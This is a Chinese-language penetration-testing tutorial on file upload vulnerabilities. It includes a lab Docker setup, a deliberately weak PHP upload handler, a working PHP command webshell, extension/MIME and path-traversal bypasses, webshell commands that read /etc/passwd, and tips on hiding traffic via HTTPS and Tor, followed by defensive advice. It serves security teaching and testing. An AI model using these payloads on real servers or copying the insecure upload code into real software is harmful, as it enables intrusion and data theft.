0x01 攻击板块

文件上传漏洞是黑客们的常用武器之一,利用它可以将恶意代码上传到服务器并执行,从而进一步控制系统或者窃取数据。攻击原理通常是由于服务器对上传文件类型、大小或内容未进行严格校验,导致攻击者能够上传恶意文件。

文件上传漏洞的常见类型

  1. 文件类型验证不当:服务器仅通过文件扩展名进行验证,而不检查文件内容。例如,上传一个伪装成图片的WebShell。
  1. 路径遍历问题:上传文件后,由于路径处理不当,可能被存储到可执行目录或覆盖关键文件。
  1. MIME类型验证缺失:服务器只检查文件的MIME类型而不检查内容,攻击者可以通过修改HTTP请求的头信息绕过检查。

文件上传漏洞的攻击目标

攻击者通常通过文件上传漏洞实现以下目标:

黑客示意图

  • 上传WebShell:通过上传恶意脚本文件直接执行命令。
  • 上传病毒或木马:在服务器内部传播恶意软件。
  • 盗取数据:上传窃取服务器数据的代码。

黑客示意图

有效的攻击都是从理解目标的逻辑和结构开始的。渗透测试工程师必须从攻击者视角分析如何利用这些漏洞。

0x02 实战环境搭建

进行任何安全测试之前都必须搭建一个与真实环境接近的测试环境。下面是如何构建一个模拟文件上传漏洞的系统,以进行研究和测试。

环境需求

  • Web服务器:建议使用Apache或Nginx,支持PHP。
  • 数据库:MySQL或SQLite,用于存储用户信息。
  • 文件管理系统:简单的文件上传模块。

环境搭建步骤

  1. 安装Web服务器与数据库:可以使用Docker来快速搭建环境。如下是一个简单的Dockerfile:

<pre><code class="language-shell"># 使用基础镜像,安装PHP及Apache FROM php:7.4-apache

安装MySQL扩展

RUN docker-php-ext-install mysqli

提供上传文件的目录

RUN mkdir /var/www/html/uploads RUN chmod 777 /var/www/html/uploads

将文件上传代码复制到容器中

COPY ./file_upload.php /var/www/html/

EXPOSE 80</code></pre>

  1. 文件上传代码编写:一个简单的PHP文件上传代码示例:

<pre><code class="language-php">&lt;?php // 上传文件处理 if ($_SERVER[&#039;REQUEST_METHOD&#039;] === &#039;POST&#039;) { $target_dir = &quot;uploads/&quot;; $target_file = $target_dir . basename($_FILES[&quot;fileToUpload&quot;][&quot;name&quot;]);

// 检查文件类型 $fileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION)); if($fileType !== &quot;jpg&quot; &amp;&amp; $fileType !== &quot;png&quot;) { echo &quot;File type not allowed.&quot;; exit; }

// 上传文件 if (move_uploaded_file($_FILES[&quot;fileToUpload&quot;][&quot;tmp_name&quot;], $target_file)) { echo &quot;The file &quot;. basename($_FILES[&quot;fileToUpload&quot;][&quot;name&quot;]). &quot; has been uploaded.&quot;; } else { echo &quot;Sorry, there was an error uploading your file.&quot;; } } ?&gt;</code></pre>

环境验证

  • 启动容器:运行 docker build -t file-upload-test . 然后 docker run -d -p 80:80 file-upload-test
  • 访问测试页面:通过浏览器访问 http://localhost/file_upload.php,验证文件上传功能是否正常。

0x03 Payload构造的艺术

文件上传漏洞的利用通常要求攻击者具备构造有效Payload的能力。Payload的目标是确保上传的恶意文件能够被执行,从而实现攻击目的。

构造WebShell

  • 基础WebShell:一个简单的PHP WebShell代码如下:

<pre><code class="language-php">&lt;?php // 执行命令 if(isset($_REQUEST[&#039;cmd&#039;])) { echo &#039;&lt;pre&gt;&#039;; $cmd = ($_REQUEST[&#039;cmd&#039;]); system($cmd); echo &#039;&lt;/pre&gt;&#039;; } ?&gt;</code></pre>

绕过文件类型验证

  • 文件扩展名伪装:将WebShell.php改为WebShell.jpg,通过修改HTTP请求头中的 Content-Typeimage/jpeg 来绕过简单的MIME类型验证。

上传路径控制

  • 路径遍历:如果服务器存在路径遍历漏洞,可以通过修改上传路径实现对系统文件的覆盖,例如 uploads/../../../var/www/html/index.php

0x04 流量捕获实战

在成功上传WebShell后,攻击者通常会进行一系列的操作来控制服务器并窃取数据。

WebShell的使用

  • 远程命令执行:通过浏览器访问 http://localhost/uploads/WebShell.php?cmd=ls 可以列出当前目录下的文件。
  • 数据窃取:访问 http://localhost/uploads/WebShell.php?cmd=cat /etc/passwd 来查看系统用户信息。

流量伪装技巧

攻击者可能会使用流量分析工具如Wireshark来分析上传后的通信并进行伪装,以避免检测。

  • HTTPS加密:通过SSL中间件将通信加密,减少被检测的风险。
  • 流量混淆:使用工具如Tor进行流量混淆,隐藏真实来源。

0x05 检测与防御

黑客示意图

甲方安全团队需要了解如何检测并防御文件上传漏洞。

服务器配置

  • 严格的文件类型验证:使用PHP的 getimagesize() 等函数来验证文件是否为真实的图片。
  • 限制上传目录权限:确保上传目录不可执行,使用 chmod 644 设置权限。
  • 监控上传流量:使用流量检测工具来识别异常上传行为。

入侵检测系统

  • IDS/IPS部署:在网络边界部署入侵检测系统以识别潜在的文件上传攻击。
  • 日志分析:定期分析服务器访问日志以发现可疑的文件上传记录。

0x06 个人经验分享

在多年的渗透测试工作中,文件上传漏洞一直是一个高效的攻击路径。以下是一些个人经验:

黑客示意图

  • 多层次验证:不仅验证文件扩展名,还应通过文件内容和MIME类型进行多层次验证。
  • 定期测试和审计:在每次系统更新后进行全面的渗透测试,确保无漏洞可利用。
  • 教育和培训:提高开发人员和运维团队对文件上传安全的认识,减少低级错误。

文件上传漏洞看似简单,却能提供广泛的攻击面。每个安全团队都应认真对待此类漏洞,定期进行测试和审查,以确保系统安全。